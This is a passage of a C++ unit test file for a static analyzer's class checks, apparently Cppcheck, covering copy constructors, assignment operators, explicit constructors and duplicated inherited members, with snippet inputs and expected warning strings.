TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", 